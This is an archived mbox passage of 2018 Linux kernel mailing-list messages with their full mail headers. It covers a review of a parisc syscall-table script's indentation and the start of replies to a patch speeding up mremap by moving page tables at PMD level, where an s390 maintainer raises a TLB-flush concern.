> > > > +offset="$5"
> > > > +
> > > > +fileguard=_UAPI_ASM_PARISC_`basename "$out" | sed \
> > > > +    -e 'y/abcdefghijklmnopqrstuvwxyz/ABCDEFGHIJKLMNOPQRSTUVWXYZ/' \
> > > > +    -e 's/[^A-Z0-9_]/_/g' -e 's/__/_/g'`
> > > > +grep -E "^[0-9A-Fa-fXx]+[[:space:]]+${my_abis}" "$in" | sort -n | (
> > > > +    echo "#ifndef ${fileguard}"
> > > > +    echo "#define ${fileguard}"
> > > > +    echo ""
> > > > +
> > > > +    nxt=0
> > > > +    while read nr abi name entry compat ; do
> > > > +     if [ -z "$offset" ]; then
> > > > +         echo -e "#define __NR_${prefix}${name}\t$nr"
> > >
> > > This mixed indentation with both tabs and spaces is a bit messy.
> >
> > Is this what you suggested?
> > -           echo -e "#define __NR_${prefix}${name}\t$nr"
> > +           echo "#define __NR_${prefix}${name} $nr"
>
> No, this was actually only about the script itself. Looks like your editor has
> tab-width 8 and indentation 4 or so.

Ok. Something is going bad while creating the patch series. That's why this
mixed indentation with both tabs and spaces.Will fix now.

It will be ok to have indentation of 4 character?
https://github.com/torvalds/linux/blob/master/arch/x86/entry/syscalls/syscalltbl.sh
https://github.com/torvalds/linux/blob/master/arch/arm/tools/syscalltbl.sh

Thanks
Firoz
>
> Eike


From - Thu Nov 08 21:42:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christian Borntraeger <borntraeger@de.ibm.com>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.ports.riscv,gmane.linux.ports.hexagon,gmane.comp.emulators.kvm.arm.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v2 2/2] mm: speed up mremap by 500x on large regions
Date: Mon, 15 Oct 2018 09:10:53 +0200
Lines: 133
Approved: news@gmane.org
Message-ID: <6580a62b-69c6-f2e3-767c-bd36b977bea2@de.ibm.com>
References: <20181012013756.11285-1-joel@joelfernandes.org>
 <20181012013756.11285-2-joel@joelfernandes.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1539587420 11814 195.159.176.226 (15 Oct 2018 07:10:20 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 15 Oct 2018 07:10:20 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.9.1
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Dave Hansen <dave.hansen@linux.intel.com>, Will Deacon <will.deacon@arm.com>,
 mhocko@kernel.org, linux-mm@kvack.org, lokeshgidra@google.com,
 sparclinux@vger.kernel.org, linux-riscv@lists.infradead.org,
 elfring@users.sourceforge.net, Jonas Bonn <jonas@southpole.se>,
 linux-s390@vger.kernel.org, dancol@google.com,
 Yoshinori Sato <ysato@users.sourceforge.jp>, linux-xtensa@linux-xtensa.org,
 linux-hexagon@vger.kernel.org, Helge Deller <deller@gmx.de>,
 "maintainer:X86 ARCHITECTURE \(32-BIT AND 64-BIT\)" <x86@kernel.org>,
 hughd@google.com, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 kasan-dev@googlegroups.com, kvmarm@lists.cs.columbia.edu,
 Ingo Molnar <mingo@redhat.com>, Geert Uytter
To: "Joel Fernandes (Google)" <joel@joelfernandes.org>,
 linux-kernel@vger.kernel.org
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Mon Oct 15 09:10:11 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1gBx10-0002uT-7b
	for gla-linux-snps-arc@m.gmane.org; Mon, 15 Oct 2018 09:10:10 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:Message-Id:In-Reply-To:MIME-Version:
	Date:From:References:To:Subject:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=XQuN+0AE/m6FKYKXxvjKL8vGvPBYGlvVvVc2Ul5zi3s=; b=rnFhTdbm1sIukv
	oMwJnuA+ynmPZuz2+RhnoEAH7PU/DlCz7wnPTktkOivNAP/yYUufwRHOjoKP5mT0an3f/cRN+OQJ2
	5zOmB8qg4ZJiVwjR3dcmNQxhipcuVsqd1+2MRNkC+lPsmNy+ZshvFLJxgvYgqBuvgDMyvN3CC6BWa
	CEmLoSPMS8OhSfHzh8wgWrvjfGaJ2Fcbv6Cr/SRLprmgTnrUfnedwzan8NbNTzLQRTCc2pIAPZLA2
	JXPInTDJlS2JWR+Qmi4Y25J8YYlvtkMV0YEpQOEsJIBUbOCjFMNeDakWcPLse9ZQYn+PIrn/8zSl8
	KDUGtn/HOh8FJruCuAxQ==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gBx34-0002lq-Ue; Mon, 15 Oct 2018 07:12:18 +0000
Original-Received: from mx0b-001b2d01.pphosted.com ([148.163.158.5]
 helo=mx0a-001b2d01.pphosted.com)
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gBx2z-0002jc-Oz
 for linux-snps-arc@lists.infradead.org; Mon, 15 Oct 2018 07:12:16 +0000
Original-Received: from pps.filterd (m0098421.ppops.net [127.0.0.1])
 by mx0a-001b2d01.pphosted.com (8.16.0.22/8.16.0.22) with SMTP id
 w9F7AHYp095400
 for <linux-snps-arc@lists.infradead.org>; Mon, 15 Oct 2018 03:12:01 -0400
Original-Received: from e06smtp07.uk.ibm.com (e06smtp07.uk.ibm.com [195.75.94.103])
 by mx0a-001b2d01.pphosted.com with ESMTP id 2n4k0yexmc-1
 (version=TLSv1.2 cipher=AES256-GCM-SHA384 bits=256 verify=NOT)
 for <linux-snps-arc@lists.infradead.org>; Mon, 15 Oct 2018 03:12:01 -0400
Original-Received: from localhost
 by e06smtp07.uk.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only!
 Violators will be prosecuted
 for <linux-snps-arc@lists.infradead.org> from <borntraeger@de.ibm.com>;
 Mon, 15 Oct 2018 08:11:57 +0100
Original-Received: from b06cxnps3075.portsmouth.uk.ibm.com (9.149.109.195)
 by e06smtp07.uk.ibm.com (192.168.101.137) with IBM ESMTP SMTP Gateway:
 Authorized Use Only! Violators will be prosecuted; 
 (version=TLSv1/SSLv3 cipher=AES256-GCM-SHA384 bits=256/256)
 Mon, 15 Oct 2018 08:11:44 +0100
Original-Received: from d06av26.portsmouth.uk.ibm.com (d06av26.portsmouth.uk.ibm.com
 [9.149.105.62])
 by b06cxnps3075.portsmouth.uk.ibm.com (8.14.9/8.14.9/NCO v10.0) with ESMTP id
 w9F7Bhun6488426
 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=FAIL);
 Mon, 15 Oct 2018 07:11:43 GMT
Original-Received: from d06av26.portsmouth.uk.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id 956A8AE04D;
 Mon, 15 Oct 2018 10:10:21 +0100 (BST)
Original-Received: from d06av26.portsmouth.uk.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id 9B83CAE051;
 Mon, 15 Oct 2018 10:09:34 +0100 (BST)
Original-Received: from oc7455500831.ibm.com (unknown [9.152.224.212])
 by d06av26.portsmouth.uk.ibm.com (Postfix) with ESMTP;
 Mon, 15 Oct 2018 10:09:34 +0100 (BST)
Openpgp: preference=signencrypt
Autocrypt: addr=borntraeger@de.ibm.com; prefer-encrypt=mutual; keydata=
 xsFNBE6cPPgBEAC2VpALY0UJjGmgAmavkL/iAdqul2/F9ONz42K6NrwmT+SI9CylKHIX+fdf
 J34pLNJDmDVEdeb+brtpwC9JEZOLVE0nb+SR83CsAINJYKG3V1b3Kfs0hydseYKsBYqJTN2j
 CmUXDYq9J7uOyQQ7TNVoQejmpp5ifR4EzwIFfmYDekxRVZDJygD0wL/EzUr8Je3/j548NLyL
 4Uhv6CIPf3TY3/aLVKXdxz/ntbLgMcfZsDoHgDk3lY3r1iwbWwEM2+eYRdSZaR4VD+JRD7p8
 0FBadNwWnBce1fmQp3EklodGi5y7TNZ/CKdJ+jRPAAnw7SINhSd7PhJMruDAJaUlbYaIm23A
 +82g+IGe4z9tRGQ9TAflezVMhT5J3ccu6cpIjjvwDlbxucSmtVi5VtPAMTLmfjYp7VY2Tgr+
 T92v7+V96jAfE3Zy2nq52e8RDdUo/F6faxcumdl+aLhhKLXgrozpoe2nL0Nyc2uqFjkjwXXI
 OBQiaqGeWtxeKJP+O8MIpjyGuHUGzvjNx5S/592TQO3phpT5IFWfMgbu4OreZ9yekDhf7Cvn
 /fkYsiLDz9W6Clihd/xlpm79+jlhm4E3xBPiQOPCZowmHjx57mXVAypOP2Eu+i2nyQrkapaY
 IdisDQfWPdNeHNOiPnPS3+GhVlPcqSJAIWnuO7Ofw1ZVOyg/jwARAQABzTRDaHJpc3RpYW4g
 Qm9ybnRyYWVnZXIgKElCTSkgPGJvcm50cmFlZ2VyQGRlLmlibS5jb20+wsF4BBMBAgAiBQJO
 nDz4AhsDBgsJC 
In-Reply-To: <20181012013756.11285-2-joel@joelfernandes.org>
Content-Language: en-US
X-TM-AS-GCONF: 00
x-cbid: 18101507-0028-0000-0000-000003076E51
X-IBM-AV-DETECTION: SAVI=unused REMOTE=unused XFE=unused
x-cbparentid: 18101507-0029-0000-0000-000023C27326
X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10434:, ,
 definitions=2018-10-15_05:, , signatures=0
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 priorityscore=1501
 malwarescore=0 suspectscore=2 phishscore=0 bulkscore=0 spamscore=0
 clxscore=1011 lowpriorityscore=0 mlxscore=0 impostorscore=0
 mlxlogscore=999 adultscore=0 classifier=spam adjust=0 reason=mlx
 scancount=1 engine=8.0.1-1807170000 definitions=main-1810150069
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181015_001213_949249_7232C80B 
X-CRM114-Status: GOOD (  36.48  )
X-Spam-Score: 1.3 (+)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (1.3 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.7 RCVD_IN_DNSWL_LOW      RBL: Sender listed at http://www.dnswl.org/, low
 trust [148.163.158.5 listed in list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 2.0 KHOP_DYNAMIC           Relay looks like a dynamic address
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:4556 gmane.linux.kernel:2899081 gmane.linux.ports.mips.general:67104 gmane.linux.ports.ia64:29407 gmane.linux.ports.sh.devel:57654 gmane.linux.kernel.mm:205289 gmane.linux.ports.sparc:28578 gmane.linux.ports.riscv:1079 gmane.linux.ports.hexagon:1929 gmane.comp.emulators.kvm.arm.devel:19481 gmane.linux.ports.arm.kernel:679565 gmane.linux.ports.parisc:29189 gmane.linux.ports.alpha:5335 gmane.linux.ports.ppc64.devel:164356
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4556>



On 10/12/2018 03:37 AM, Joel Fernandes (Google) wrote:
> Android needs to mremap large regions of memory during memory management
> related operations. The mremap system call can be really slow if THP is
> not enabled. The bottleneck is move_page_tables, which is copying each
> pte at a time, and can be really slow across a large map. Turning on THP
> may not be a viable option, and is not for us. This patch speeds up the
> performance for non-THP system by copying at the PMD level when possible.
> 
> The speed up is three orders of magnitude. On a 1GB mremap, the mremap
> completion times drops from 160-250 millesconds to 380-400 microseconds.
> 
> Before:
> Total mremap time for 1GB data: 242321014 nanoseconds.
> Total mremap time for 1GB data: 196842467 nanoseconds.
> Total mremap time for 1GB data: 167051162 nanoseconds.
> 
> After:
> Total mremap time for 1GB data: 385781 nanoseconds.
> Total mremap time for 1GB data: 388959 nanoseconds.
> Total mremap time for 1GB data: 402813 nanoseconds.
> 
> Incase THP is enabled, the optimization is skipped. I also flush the
> tlb every time we do this optimization since I couldn't find a way to
> determine if the low-level PTEs are dirty. It is seen that the cost of
> doing so is not much compared the improvement, on both x86-64 and arm64.
> 
> Cc: minchan@kernel.org
> Cc: pantin@google.com
> Cc: hughd@google.com
> Cc: lokeshgidra@google.com
> Cc: dancol@google.com
> Cc: mhocko@kernel.org
> Cc: kirill@shutemov.name
> Cc: akpm@linux-foundation.org
> Signed-off-by: Joel Fernandes (Google) <joel@joelfernandes.org>
> ---
>  mm/mremap.c | 62 +++++++++++++++++++++++++++++++++++++++++++++++++++++
>  1 file changed, 62 insertions(+)
> 
> diff --git a/mm/mremap.c b/mm/mremap.c
> index 9e68a02a52b1..d82c485822ef 100644
> --- a/mm/mremap.c
> +++ b/mm/mremap.c
> @@ -191,6 +191,54 @@ static void move_ptes(struct vm_area_struct *vma, pmd_t *old_pmd,
>  		drop_rmap_locks(vma);
>  }
>  
> +static bool move_normal_pmd(struct vm_area_struct *vma, unsigned long old_addr,
> +		  unsigned long new_addr, unsigned long old_end,
> +		  pmd_t *old_pmd, pmd_t *new_pmd, bool *need_flush)
> +{
> +	spinlock_t *old_ptl, *new_ptl;
> +	struct mm_struct *mm = vma->vm_mm;
> +
> +	if ((old_addr & ~PMD_MASK) || (new_addr & ~PMD_MASK)
> +	    || old_end - old_addr < PMD_SIZE)
> +		return false;
> +
> +	/*
> +	 * The destination pmd shouldn't be established, free_pgtables()
> +	 * should have release it.
> +	 */
> +	if (WARN_ON(!pmd_none(*new_pmd)))
> +		return false;
> +
> +	/*
> +	 * We don't have to worry about the ordering of src and dst
> +	 * ptlocks because exclusive mmap_sem prevents deadlock.
> +	 */
> +	old_ptl = pmd_lock(vma->vm_mm, old_pmd);
> +	if (old_ptl) {
> +		pmd_t pmd;
> +
> +		new_ptl = pmd_lockptr(mm, new_pmd);
> +		if (new_ptl != old_ptl)
> +			spin_lock_nested(new_ptl, SINGLE_DEPTH_NESTING);
> +
> +		/* Clear the pmd */
> +		pmd = *old_pmd;
> +		pmd_clear(old_pmd);

Adding Martin Schwidefsky.
Is this mapping maybe still in use on other CPUs? If yes, I think for
s390 we need to flush here as well (in other word we might need to introduce
pmd_clear_flush). On s390 you have to use instructions like CRDTE,IPTE or IDTE
to modify page table entries that are still in use. Otherwise you can get a 
delayed access exception which is - in contrast to page faults - not recoverable.



> +
> +		VM_BUG_ON(!pmd_none(*new_pmd));
> +
> +		/* Set the new pmd */
> +		set_pmd_at(mm, new_addr, new_pmd, pmd);
> +		if (new_ptl != old_ptl)
> +			spin_unlock(new_ptl);
> +		spin_unlock(old_ptl);
> +
> +		*need_flush = true;
> +		return true;
> +	}
> +	return false;
> +}
> +
>  unsigned long move_page_tables(struct vm_area_struct *vma,
>  		unsigned long old_addr, struct vm_area_struct *new_vma,
>  		unsigned long new_addr, unsigned long len,
> @@ -239,7 +287,21 @@ unsigned long move_page_tables(struct vm_area_struct *vma,
>  			split_huge_pmd(vma, old_pmd, old_addr);
>  			if (pmd_trans_unstable(old_pmd))
>  				continue;
> +		} else if (extent == PMD_SIZE) {
> +			bool moved;
> +
> +			/* See comment in move_ptes() */
> +			if (need_rmap_locks)
> +				take_rmap_locks(vma);
> +			moved = move_normal_pmd(vma, old_addr, new_addr,
> +					old_end, old_pmd, new_pmd,
> +					&need_flush);
> +			if (need_rmap_locks)
> +				drop_rmap_locks(vma);
> +			if (moved)
> +				continue;
>  		}
> +
>  		if (pte_alloc(new_vma->vm_mm, new_pmd))
>  			break;
>  		next = (new_addr + PMD_SIZE) & PMD_MASK;
> 

From - Thu Nov 08 21:42:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Martin Schwidefsky <schwidefsky@de.ibm.com>
Newsgroups: gmane.linux.ports.riscv,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.comp.emulators.kvm.arm.devel,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v2 2/2] mm: speed up mremap by 500x on large regions
Date: Mon, 15 Oct 2018 10:18:14 +0200
Lines: 158
Approved: news@gmane.org
Message-ID: <20181015101814.306d257c@mschwideX1>
References: <20181012013756.11285-1-joel@joelfernandes.org>
 <20181012013756.11285-2-joel@joelfernandes.org>
 <6580a62b-69c6-f2e3-767c-bd36b977bea2@de.ibm.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1539591536 7263 195.159.176.226 (15 Oct 2018 08:18:56 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 15 Oct 2018 08:18:56 +0000 (UTC)
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Dave Hansen <dave.hansen@linux.intel.com>, Will Deacon <will.deacon@arm.com>,
 mhocko@kernel.org, linux-mm@kvack.org, lokeshgidra@google.com,
 "Joel Fernandes \(Google\)" <joel@joelfernandes.org>,
 linux-riscv@lists.infradead.org, elfring@users.sourceforge.net,
 Jonas Bonn <jonas@southpole.se>, linux-s390@vger.kernel.org, dancol@google.com,
 Yoshinori Sato <ysato@users.sourceforge.jp>, sparclinux@vger.kernel.org,
 linux-xtensa@linux-xtensa.org, linux-hexagon@vger.kernel.org,
 Helge Deller <deller@gmx.de>,
 "maintainer:X86 ARCHITECTURE \(32-BIT AND 64-BIT\)" <x86@kernel.org>,
 hughd@google.com, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 kasan-dev@googlegroups.com, kvmarm@lists.cs.colu
To: Christian Borntraeger <borntraeger@de.ibm.com>
Original-X-From: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org Mon Oct 15 10:18:46 2018
Return-path: <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>
Envelope-to: glpr-linux-riscv@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>)
	id 1gBy5O-0001fW-7h
	for glpr-linux-riscv@m.gmane.org; Mon, 15 Oct 2018 10:18:46 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:Message-Id:MIME-Version:References:
	In-Reply-To:Subject:To:From:Date:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=TFXAfRLhu5cIf4L510/BQAqvIhtuEs93AfiOie+E5DI=; b=lGT0oj/+CACwvo
	iEfl15LQVKC+KxhjQESyvPjmqpvlLh4ua49bh7Tc/+jcH/qzffLzHVJUWfTLsXhExjuxIsT9p/JCq
	uwuXAvao//TVE9My20XgtYnTBt9TBxXJmqvzRK/46b2Uktx8i/hsr7TLTTejeknArxCFrPHE9sKD6
	INNTp8zArJ0ffZU2No/oCYhZTy5KkSUDz9SxBOZh+yFMH7nz7/YzlgL06clKnze4Kidi6JQ13zGBV
	4q8An9fzt/bDiZBxVBd1SdGP6Q4k+T7UgheDTX1p08eMz3LIL1QOQgoz6OlBmdD0szO5rfbw2gm5B
	9l9oNHhFRvcIasyMskFg==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gBy7O-0007sP-Gv; Mon, 15 Oct 2018 08:20:50 +0000
Original-Received: from mx0b-001b2d01.pphosted.com ([148.163.158.5]
 helo=mx0a-001b2d01.pphosted.com)
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gBy5R-00065g-4z
 for linux-riscv@lists.infradead.org; Mon, 15 Oct 2018 08:19:31 +0000
Original-Received: from pps.filterd (m0098420.ppops.net [127.0.0.1])
 by mx0b-001b2d01.pphosted.com (8.16.0.22/8.16.0.22) with SMTP id
 w9F8E8LG088936
 for <linux-riscv@lists.infradead.org>; Mon, 15 Oct 2018 04:18:35 -0400
Original-Received: from e06smtp01.uk.ibm.com (e06smtp01.uk.ibm.com [195.75.94.97])
 by mx0b-001b2d01.pphosted.com with ESMTP id 2n4pkfhr82-1
 (version=TLSv1.2 cipher=AES256-GCM-SHA384 bits=256 verify=NOT)
 for <linux-riscv@lists.infradead.org>; Mon, 15 Oct 2018 04:18:35 -0400
Original-Received: from localhost
 by e06smtp01.uk.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only!
 Violators will be prosecuted
 for <linux-riscv@lists.infradead.org> from <schwidefsky@de.ibm.com>;
 Mon, 15 Oct 2018 09:18:31 +0100
Original-Received: from b06cxnps3075.portsmouth.uk.ibm.com (9.149.109.195)
 by e06smtp01.uk.ibm.com (192.168.101.131) with IBM ESMTP SMTP Gateway:
 Authorized Use Only! Violators will be prosecuted; 
 (version=TLSv1/SSLv3 cipher=AES256-GCM-SHA384 bits=256/256)
 Mon, 15 Oct 2018 09:18:17 +0100
Original-Received: from d06av22.portsmouth.uk.ibm.com (d06av22.portsmouth.uk.ibm.com
 [9.149.105.58])
 by b06cxnps3075.portsmouth.uk.ibm.com (8.14.9/8.14.9/NCO v10.0) with ESMTP id
 w9F8IGEr5439792
 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=FAIL);
 Mon, 15 Oct 2018 08:18:17 GMT
Original-Received: from d06av22.portsmouth.uk.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id D49D44C059;
 Mon, 15 Oct 2018 11:17:50 +0100 (BST)
Original-Received: from d06av22.portsmouth.uk.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id 62EA74C040;
 Mon, 15 Oct 2018 11:17:49 +0100 (BST)
Original-Received: from mschwideX1 (unknown [9.152.212.164])
 by d06av22.portsmouth.uk.ibm.com (Postfix) with ESMTP;
 Mon, 15 Oct 2018 11:17:49 +0100 (BST)
In-Reply-To: <6580a62b-69c6-f2e3-767c-bd36b977bea2@de.ibm.com>
X-Mailer: Claws Mail 3.13.2 (GTK+ 2.24.30; x86_64-pc-linux-gnu)
X-TM-AS-GCONF: 00
x-cbid: 18101508-4275-0000-0000-000002CC25A0
X-IBM-AV-DETECTION: SAVI=unused REMOTE=unused XFE=unused
x-cbparentid: 18101508-4276-0000-0000-000037D72734
X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10434:, ,
 definitions=2018-10-15_05:, , signatures=0
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 priorityscore=1501
 malwarescore=0 suspectscore=2 phishscore=0 bulkscore=0 spamscore=0
 clxscore=1011 lowpriorityscore=0 mlxscore=0 impostorscore=0
 mlxlogscore=999 adultscore=0 classifier=spam adjust=0 reason=mlx
 scancount=1 engine=8.0.1-1807170000 definitions=main-1810150078
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181015_011849_352425_25A92DE1 
X-CRM114-Status: GOOD (  39.40  )
X-Spam-Score: 1.3 (+)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (1.3 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.7 RCVD_IN_DNSWL_LOW      RBL: Sender listed at http://www.dnswl.org/, low
 trust [148.163.158.5 listed in list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 2.0 KHOP_DYNAMIC           Relay looks like a dynamic address
X-BeenThere: linux-riscv@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-riscv.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-riscv/>
List-Post: <mailto:linux-riscv@lists.infradead.org>
List-Help: <mailto:linux-riscv-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-riscv" <linux-riscv-bounces@lists.infradead.org>
Errors-To: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.riscv:1080 gmane.linux.ports.mips.general:67105 gmane.linux.ports.ia64:29408 gmane.linux.ports.sh.devel:57655 gmane.linux.kernel.mm:205294 gmane.linux.ports.sparc:28579 gmane.linux.ports.hexagon:1930 gmane.comp.emulators.kvm.arm.devel:19482 gmane.linux.kernel.arc:4557 gmane.linux.ports.arm.kernel:679586 gmane.linux.ports.parisc:29190 gmane.linux.kernel:2899130 gmane.linux.ports.alpha:5336 gmane.linux.ports.ppc64.devel:164364
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.riscv/1080>

On Mon, 15 Oct 2018 09:10:53 +0200
Christian Borntraeger <borntraeger@de.ibm.com> wrote:

> On 10/12/2018 03:37 AM, Joel Fernandes (Google) wrote:
> > Android needs to mremap large regions of memory during memory management
> > related operations. The mremap system call can be really slow if THP is
> > not enabled. The bottleneck is move_page_tables, which is copying each
> > pte at a time, and can be really slow across a large map. Turning on THP
> > may not be a viable option, and is not for us. This patch speeds up the
> > performance for non-THP system by copying at the PMD level when possible.
> > 
> > The speed up is three orders of magnitude. On a 1GB mremap, the mremap
> > completion times drops from 160-250 millesconds to 380-400 microseconds.
> > 
> > Before:
> > Total mremap time for 1GB data: 242321014 nanoseconds.
> > Total mremap time for 1GB data: 196842467 nanoseconds.
> > Total mremap time for 1GB data: 167051162 nanoseconds.
> > 
> > After:
> > Total mremap time for 1GB data: 385781 nanoseconds.
> > Total mremap time for 1GB data: 388959 nanoseconds.
> > Total mremap time for 1GB data: 402813 nanoseconds.
> > 
> > Incase THP is enabled, the optimization is skipped. I also flush the
> > tlb every time we do this optimization since I couldn't find a way to
> > determine if the low-level PTEs are dirty. It is seen that the cost of
> > doing so is not much compared the improvement, on both x86-64 and arm64.
> > 
> > Cc: minchan@kernel.org
> > Cc: pantin@google.com
> > Cc: hughd@google.com
> > Cc: lokeshgidra@google.com
> > Cc: dancol@google.com
> > Cc: mhocko@kernel.org
> > Cc: kirill@shutemov.name
> > Cc: akpm@linux-foundation.org
> > Signed-off-by: Joel Fernandes (Google) <joel@joelfernandes.org>
> > ---
> >  mm/mremap.c | 62 +++++++++++++++++++++++++++++++++++++++++++++++++++++
> >  1 file changed, 62 insertions(+)
> > 
> > diff --git a/mm/mremap.c b/mm/mremap.c
> > index 9e68a02a52b1..d82c485822ef 100644
> > --- a/mm/mremap.c
> > +++ b/mm/mremap.c
> > @@ -191,6 +191,54 @@ static void move_ptes(struct vm_area_struct *vma, pmd_t *old_pmd,
> >  		drop_rmap_locks(vma);
> >  }
> >  
